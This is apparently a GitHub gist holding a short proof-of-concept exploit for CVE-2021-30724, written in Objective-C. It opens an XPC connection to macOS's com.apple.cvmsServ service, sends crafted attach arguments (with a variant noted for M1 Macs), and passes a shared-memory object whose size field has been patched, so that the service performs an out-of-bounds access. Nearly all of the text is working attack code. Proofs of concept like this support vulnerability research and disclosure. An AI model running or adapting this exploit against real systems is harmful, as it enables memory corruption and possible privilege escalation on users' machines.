just a simple poc for cve-2021-30724

May 26, 2021 ยท View on GitHub

#import <Foundation/Foundation.h> #import <xpc/xpc.h> int64_t cvms_connection_create(xpc_connection_t *conn) { int64_t error = 528; xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cvmsServ", NULL, 2); xpc_connection_set_event_handler(client, ^(xpc_object_t event) {}); xpc_connection_resume(client); xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64 (req, "message", 1); xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req); printf("response: %s\n", xpc_copy_description(res)); if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) { error = xpc_dictionary_get_int64(res, "error"); if (!error) { *conn = client; } } return error; }

int64_t cvms_service_attach(xpc_connection_t conn) { int64_t error = 528; xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64 (req, "message", 4); xpc_dictionary_set_string(req, "framework_name", "OpenCL"); xpc_dictionary_set_string(req, "bitcode_name", ""); xpc_dictionary_set_string(req, "plugin_name", "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib"); struct AttachArgs { int64_t a1; int64_t a2; } args = {0, 0x0000211000000009};//M1 Mac use 0x000021100000000a xpc_dictionary_set_data(req, "args", &args, sizeof(args)); xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req); printf("response: %s\n", xpc_copy_description(res)); if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) { error = xpc_dictionary_get_int64(res, "error"); if (!error) { int64_t pool_index = xpc_dictionary_get_int64(res, "pool_index"); printf("pool_index: %lld\n", pool_index); } } return error; }

int64_t cvms_element_build(xpc_connection_t conn) { int64_t error = 0; xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64 (req, "message", 18); xpc_dictionary_set_uint64(req, "options", 0);

xpc_object_t xarr = xpc_array_create_empty();
size_t size = 0x4000;
void *shared_buf = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, 0, 0);
memset(shared_buf, 'C', size);
xpc_object_t xshmem = xpc_shmem_create(shared_buf, size);
uint64_t *p = (uint64_t *)(__bridge void *)xshmem;
p[4] = 1; // patch the mapped size to a small one
xpc_array_append_value(xarr, xshmem);
xpc_array_append_value(xarr, xpc_uint64_create(2)); // begin offset > 1, 1-2 will overflow
xpc_array_append_value(xarr, xpc_uint64_create(0x8000));// data length > mapped size, lead to the OOB Access
xpc_dictionary_set_value(req, "source", xpc_array_create(&xarr, 1));
xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);
printf("response: %s\n", xpc_copy_description(res));

return error;

}

int64_t poc() { int64_t error; xpc_connection_t client;

error = cvms_connection_create(&client);
if (error) {
    printf("cvms_connection_create error: %lld\n", error);
    return error;
}

error = cvms_service_attach(client);
if (error) {
    printf("cvms_service_attach error: %lld\n", error);
    return error;
}

error = cvms_element_build(client);
if (error) {
    printf("cvms_element_build_from_source error: %lld\n", error);
    return error;
}

return 0;

}

int main(int argc, const char * argv[]) { poc(); return 0; }